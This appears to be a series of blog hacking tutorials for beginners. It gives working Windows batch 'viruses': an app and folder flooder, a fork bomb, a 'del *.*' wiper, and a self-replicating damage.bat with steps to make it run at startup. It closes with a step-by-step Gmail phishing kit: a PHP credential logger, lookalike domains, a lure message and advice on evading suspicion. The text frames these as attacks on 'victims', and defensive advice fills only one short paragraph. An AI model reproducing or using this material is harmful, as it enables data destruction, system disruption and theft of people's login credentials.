Going Beyond

What we covered in the previous few tutorials barely even scratched the surface of batch file viruses. As more and more viruses are developed, the antivirus softwares are keeping up with an equal pace to stop them. Batch file viruses represent the very beginning of any kind of viruses. Today, however, almost every single suspicious batch file is an easy target for any antivirus. Most antivirus will not let you execute them, even if they do, the batch file will be quickly shut down from execution as the antivirus realises it is malicious. Further, batch file viruses are the first ones to show up on any virus scan.
So, why bother? what’s the point of learning how to make batch file viruses? Their practical potential is next to nothing, they are easy to find, easy to delete and spreading them is out of the question.
It’s a start.
That is pretty much the only reason that batch file viruses are important. They are taught all over the world in various hacking courses for good reason. Every hacking forum, every comment section below a hacking video or a blog is filled with people looking for a way into the vast hacking universe. This is it. The more “out of the box” a virus or a malicious tool is, the harder it is to pin down and identify. But to get to the more complex stuff, one needs to master the basics first. Even though something like the innocent little batch file viruses don’t have that “oomph”, they pave the way for greater things. You probably can’t take out every computer on the internet with batch files, but you will be able format an unprotected computer, you will be able to shutdown a computer every time on startup etc. This may not be enough “reward” for most people to put in the effort, but without a foundation you can’t hope to soar high. Rome wasn’t built in a day and so is the case with anyone’s hacking skills. Everyone has to start somewhere and there’s no better place than batch file programming.
As an added bonus, batch file programming is ridiculously easy. Barring the likes of HTML and SQL you will never see another sentence with “programming” and “ridiculously easy” in it. (For more on this, see “Programming -I, II” in the intermediate category).
Learning how to make batch files gives you a glimpse of the much more complex world of advanced programming as well as how basic viruses are made and how they work. Lastly, no security system is completely foolproof. Unseen things can and do go wrong, which is what hacking is all about and who knows perhaps you will be the one to find the next big loophole.
Although this website will always be getting updated with more and more batch file virus tutorials (and more), below are a couple more sources if you’d like to “go beyond” and learn more on yourself:
Below is a link for a small book on “Batch file programming”, in PDF format. At approximately 150 pages, it covers up pretty much everything you will ever need when creating batch files or working with DOS.
http://mrcracker.com/books/Batch-File-Programming.pdf
Also, here’s an excellent but not so well known website with great quality and quantity of information on batch files:
http://www.chebucto.ns.ca/~ak621/DOS/BatBasic.html#Basics

Folder Blaster

Most of the commands we use to make batch files are actually the same commands first implemented in MS-DOS (An ancient microsoft OS). These DOS(Disk Operating System) commands can also be used in the command prompt window. Whatever your batch file does, you can do it through the command line interface (CLI).
Start “Run”, or hit [Windows key + R]. Type “cmd”, and you’re presented with the CLI. You can type “help” to get a list of commonly used commands and their functions. I recommend you try out each and every single command you can find. Hacking is getting more and more user friendly everyday, CLIs are being replaced by GUIs (Graphical User Interfaces) – meaning in most places you won’t have to actually type in the commands, you can just select an option and press a button. But as of now, this is a work in progress. With more advanced hacking techniques, specially the ones that involve using BackTrack tools, you will find that majority of the hacks are still done through the CLI (More on this, later).
You will soon be learning how to hack into a remote computer and get the CMD window of the victim’s computer. Hence, I recommend getting used to the CLI, as soon as possible, as much as possible. Before getting to the code, let’s take a look at a couple of commands.
md – (or mkdir) – Make Directory. This command is used to create a directory (a folder). The command:
md abcd
..will create a folder in the current directory named “abcd”.
cd – Change Directory. This command is used to change the current directory. The following command:
cd C:\\
..will take the program (your batch file) to the Root folder and:
cd C:\\Users
..will take you to the folder called Users in the C drive. You can change where you “mkdir” by using “cd”. (You can now create folders in any directory you like)
Here we’ve got the Folder Blaster virus. Again, this one’s fairly easy to understand. What we’re doing below is creating a bunch of folders, opening them all at once and keeping them open, effectively hogging a big portion of the screen and memory causing the windows to lag, freeze up and sometimes crash.
@echo off
cd ./Desktop
md 1
md 2
md 3
md 4
md 5
md 6
md 7
md 8
md 9
md 0
:confirm
start 1
start 2
start 3
start 4
start 5
start 6
start 7
start 8
start 9
start 0
goto confirm
So, we begin by turning off echo. Then we change the directory to Desktop. Now we create ten folders with names 0-9. We setup a label and start opening up all the 10 folders. Now the final statement causes an infinite loop. Of course, if the folder is already opened it will not be opened again. But the use of this infinite loop is if the user attempts to close the folder, the loop is still going on and it will send a message to open that folder again. So the victim will be stuck as every time s/he closes a folder it opens up again, eventually making them give up and restart the system.The above code can be made much shorter with the use of LOOPs, as discussed below. We start by creating a variable and setting it’s value to 0. We use this variable as a check to let the computer know when to come out of the loop. Take a look at the code first:
@echo off
set /a i=0
:loop
if %i%==10 goto end
echo This is iteration %i%.
set /a i=%i%+1
goto loop
:end
“set” is used to define and initialize a variable. Here we create a variable called “i” and set it’s value to zero. After setting up a label, we check if the value of the variable “i” (given by %i%) is equal to 10, and if it is we “goto” the label end (the program ends when this happens). Now we “echo” (send a message) to notify the user which iteration is currently running. In the next step we increment the value of “i” by one and then go back to the “if” statement.
So the loop runs ten times (0-9), and then stops. The above was not a virus, but a simple program. Earlier, I told you that the above Folder Blaster virus code can be made shorter by using loops. You know how to make the virus, and now you know how to use loops. Combining the two of them, I leave as an exercise for the wannabe hacker. (HINT: See the folder names up top going from 0-9 ? You can just replace them with %i% in the above loop.)

Application Flooder

The “Application flooder” although technically harmless, is a really annoying virus. Now that we’re moving further along in making batch file viruses, let’s stop for a second to discuss a couple of basic commands:
@echo off – This command stops the batch file from showing the commands as they are being carried out, that is the command window will not show the commands as they are being performed. However, the output or error of the commands on execution will still be printed out in the command prompt window which is exactly like the cmd.exe window. We use this command when we don’t want to notify the user that something is going on, to hide unnecessary background details so that the user can’t actually see what’s causing trouble – which is what we’re doing here. Note that the command window will still show up, but there are methods to get around even this (to which we’ll get to later on).
// – The ‘//’ (- two slashes) is used in A LOT of places to insert comments. A comment is just some text (or string), usually inserted to give the program’s reader some help in understanding the code. Whenever any compiler or say the command line interpreter bumps into // – It ignores everything that comes after it, in that line. It just skips it over, pretends there’s nothing there, and moves on to the next line. In many programming languages too, like C, C++, Java etc. you will find comments exactly like these everywhere.
Getting to the interesting bit, below we have the code for the application flooder virus. As always you can type it in a notepad and save as a .bat file (any name). Try to understand what’s going on below and then head over to the explanation.
@echo off
//label
start winword //MS word
start mspaint //paint
start notepad
start write //wordpad
start cmd //cmd prompt
start explorer
start control //panel
start calc //calculator
goto x //infinite loop
Explanation: So, we start off by turning off “echo”. Now, the user won’t know which file is running and what’s causing havoc on their innocent computer. We set a label, say x. Now “start” is used to, well, start applications. We can start these application by using the names of their executable files (the ones that runs these applications). So, the user will see – Paint, Calculator, Control Panel, NotePad, WordPad etc. – All of them opening up for seemingly no reason. Check out the last line, “goto x”, remember that label we set up top named ‘x’? The goto statement send the program back to the beginning causing an infinite loop (that will probably run several times a second). So, the victim’s computer will be drowned in a sea of random applications coming out of nowhere, and opening up faster than he can close them. It will eat up all the RAM, making the computer lag and possibly restart or making the user push the power button. Nevertheless kids, don’t try this at home.
Even though today our systems can handle a lot of stuff all at once, there’s still some minor risk in this batch file causing the windows to crash, maybe leave permanent damage too

Fork Bomb

Another classic, A fork bomb is the equivalent of a DOS attack on your own system. It aims at depriving the system off it’s Random access memory, leaving none for vital functions required to keep the systems running, hence crashing it. Just 5 characters long, the fork bomb is not Deadly to a computer, Just annoying.
As with the previous batch file virus tutorials, all you need to do is open up notepad, type and save the following code as a batch file, that is with extension .bat
%0|%0
(That was it.)
Technically, the above 5 characters are short for the following more comprehensible code :
:s
start %0
goto s
Here, the first line creates a sort of checkpoint called ‘s’. It can be used to bring the programs pointer to a specific command, as is done here by using ‘goto’ in the last statement. ‘%0’ is actually the name of the .bat file itself. So every time the loop is run another instance of the same program is called and then both of them run together, to again duplicate themselves.
If that seems too simple to cause any trouble, read on.
Every program doubling itself is a form of exponential growth. After one iteration of the loop, two programs are created. After another cycle, each of those two create another two for a total of four same programs. After 10 iterations we have 2^10 = 1024 programs. After 100 iterations we have 2^100 = 1.267 nonillion, a number so big you don’t even know what ‘nonillion’ is (It’s 10^30).
Even with today’s CPUs and RAMs being in the Giga Range(Ghz and Gb), the first program will probably not even complete 50 iterations before running out of memory. Mind you, every iteration would hardly take a few milliseconds , so running this file will almost definitely crash your computer.

Wiping Out Memory

In the previous tutorial, we overloaded the computer’s memory, now we’re going to wipe it all off. This is a short and easy one.
Step 1: Open up Notepad.
Step 2: Type : del *.*
Step 3: Save it as a .bat file(For eg. Any_name.bat)
That’s it! In this command, “del” is for deleting and the following text specifies the file to be deleted(Along with Directory).
Putting a ‘*’ before the ‘.’ means that no matter what the file’s name is, it will be deleted. Putting a ‘*’ after the ‘.’ means that no matter what the file’s type is, it will be deleted. Combined, it means that whatever file is encountered by the .Bat it will be wiped off completely. In quite a lot of programming languages, a “*” signifies “all” or “everything”.
Again, this is quite dangerous to a system without antivirus as nothing will be left when this guy is done. Although technically, the system will crash as soon as the .bat file encounters some vital file required for the computer to work hence crashing it.
On an average system this should take less than a minute to do it’s thing after which Windows will be corrupted and the only way to use the computer, would be to install the operating system again.

Overloading Memory

Batch file is the name given to a type of script file, a text file containing a series of commands to be executed by the command interpreter.
A batch file may contain any command the interpreter accepts interactively at the command prompt. A batch file may also have constructs (IF, GOTO, Labels, CALL, etc.) that enable conditional branching and looping within the batch file.
Batch files usually have extensions : *.bat
They can be easily created in any word editor like notepad, wordpad.
In this tutorial you will learn how to create one of the simplest yet deadliest virus programs in the form of a batch file. This 6-line piece of code is so devastating, it can bring down a computer in a matter of seconds. (Well, at least it could a couple decades back)
Explanation: This batch file creates another batch file in the same directory, then copies itself into each of these newly created files. These files are then started up. Of course, they are identical so both of them start up again and repeat the process until the computer runs out of memory and crashes (or the antivirus catches it).
What this will do, if you leave it on long enough (about a couple minutes), is it will create so many copies of itself on the hard drive that all the empty space has been filled with these bats. Also it will use up all the computer’s RAM as it is being told to run an ever-increasing number of the same processes, which over time gets too much for it to handle.
Depending on what runs out first hard disk space or RAM, the batch file may or may not cause permanent damage. In both cases, however, the computer will almost definitely crash, the operating system may be corrupted and on the next start up, you will be greeted by the well-known “Blue Screen Of Death”. The only way to get rid of it will be to format your hard drive and re-install the operating system.
Further, we can have this beautiful file executed at startup, as a surprise for the unfortunate user who will happen to start the computer the next time.
NOTE: I cannot stress this enough- This is not a game. This tutorial is very dangerous (if you do it incorrectly) and for your own sake should never be actually performed. On execution, the computer will stop responding immediately and if the plug is not pulled off within 4-5 seconds (the program cannot be stopped after starting), there is a possibility of complete data loss and corruption of the hard drive.
With that out of the way, Here’s how to do it :
Step 1 : Open a word editor like Notepad.
Step 2 : Type in the following code ->
@echo off
:A
SET /A x=%RANDOM%%%1999999999%
type damage.bat >> %x%.bat
start %x%.bat
goto:A
Step 3 :Save the File as “damage.bat” (or whatever) and we’re done!
(Optional) Step 4 :To make this file execute automatically at startup, Do the following. Create a shortcut of the damage.bat file by right clicking on it. Open the start menu, In programs Open Startup folder and simply drag or cut-paste the shortcut into this folder. The virus will break loose the next time the computer is started up.
P.S. – If that sounded too easy to be true, it is. The thing is, this example is so basic it is known to 100% of all the antivirus softwares. Chances are if you do have even a really bad and outdated antivirus, it will most probably not even let you create this file or immediately delete it, as I experienced with my AVAST antivirus. But there are ways to get around this, which we’ll look into later on.

Phishing

What is Phishing ?
Phishing is the act of attempting to acquire information such as usernames, passwords, and credit card details (and sometimes, indirectly, money) by masquerading as a trustworthy entity in an electronic communication. Communications purporting to be from popular social web sites, auction sites, online payment processors or IT administrators are commonly used to lure the unsuspecting public. Phishing emails may contain links to websites that are infected with malware etc. Phishing is typically carried out by email spoofing or instant messaging, and it often directs users to enter details at a fake website whose look and feel are almost identical to the legitimate one.
This tutorial will explain you how to create fake login page for phishing, in this case we are going to go with Gmail as an example. This Procedure can be used to make fake pages for any other website in the same way. Yahoo!, Facebook, Myspace – Any website you want can be made using this tutorial.
Step 1:
Head over to the website gmail.com. Right Click anywhere and Save the Page as an HTML file.
Step 2:
Once you save the login page completely, you will see a HTML file and a folder with the name something like Email from google files.There will be two image files namely “google_transparent.gif”, “mail_logo.png”.
Step3:
Now we need to upload these images to any online image hosting website, for example – tinypic.com, postimage.com or photobucket.com. After uploading go to the image where you uploaded it and copy the URL of each image.
Step4:
Open the HTML file in any text editor like NotePad or MS Word.(You can use CTRL + F for the following)- Search for “google_transparent.gif” (without quotes) and replace it with corresponding URL. Search for “mail_logo.png” (without quotes) and replace it with corresponding URL.
Step 5:
In the same file, Search for :
action=”https://www.google.com/accounts/ServiceLoginAuth”
And replace it with :
action=”http://yoursite.urlhere/login.php”
(You have to write down your fake websites URL there, See Step 7 for creating it.)
Now save the file.
Step6:
Now you need to create a PHP file called “login.php”. So open up a text editor (like NotePad) and type the following (You can copy it from this pastie):
<?php $handle = fopen(“password.txt”, “a”);
fwrite($handle,$_POST[“Email”]);
fwrite($handle,”\n”); fwrite($handle,$_POST[“Passwd”]);
fwrite($handle,”\n”);
fwrite($handle,”\n”);
fclose($handle) ;
header(“Location:https://www.google.com/accounts/ServiceLoginAuth”);
exit;
?>
Now Save it as login.php
Step 7:
Open up notepad again and just save a new file as “pswrds.txt” without any contents.(Empty file)
Now upload those three files(namely :- index.html, login.php, pswrds.txt) in any of subdomain Web hosting site. (Note: that web hosting service must have php feature.)
You can use the following :
sites:110mb.com
spam.com
justfree.com
007sites.com
(or simply google it).
Follow the instructions in the Web hosting site and setup you fake login page. Make sure you name the URL something like g00gle.com or anything that you think would be the least suspicious.(Just make sure the URL doesn’t stand out in the address bar as it may alert the victim.)
Step 8:
Create a fake email account, that is if you prefer to send the phishing webpage link anonymously.
Step 9:
And now all you have to do is send the victim something like: ‘Gmail starts new feature : To use this service, log in to this page’ ,along with this send the link to your fake website.
Note: For user to believe change your phishing web page url use any of free short url sites like : co.nr, co.cc,cz.cc
This will make users to believe that it is correct url.
Nevertheless, if you do get caught act like you had no clue: ‘OMG ! I logged in to that website too , I’m going to change my pass now ! you do the same, quickly !’.
Protecting Yourself :
Phishing webpages are meant to fool the victim into thinking that the website they are logging into is genuine whereas it is actually a completely different website. The only sure-fire way to protect oneself from being the victim is to always make sure that the website you are giving your account and password to is bona fide by simply peeking at the address bar in your web browser. Also, avoid following any links from any dodgy websites, scam emails or even the comment sections in various places.
Everyone is guilty until proven innocent. Assume hostility or accept vulnerability.
*EDIT: This method currently does not work. At the time of writing, the files we upload to the hosting website were the same as mentioned here. As of now, however, these files are nowhere to be found. For some reason, the Gmail team seems to modify and change the log in page almost every other week causing the phishing method to be slightly different every time. Hence, kindly try out other hacking techniques for the time being. Since the phishing method is practically the same barring a few file names .You may also attempt the same method with other websites (Yahoo!, Facebook etc.) on your own.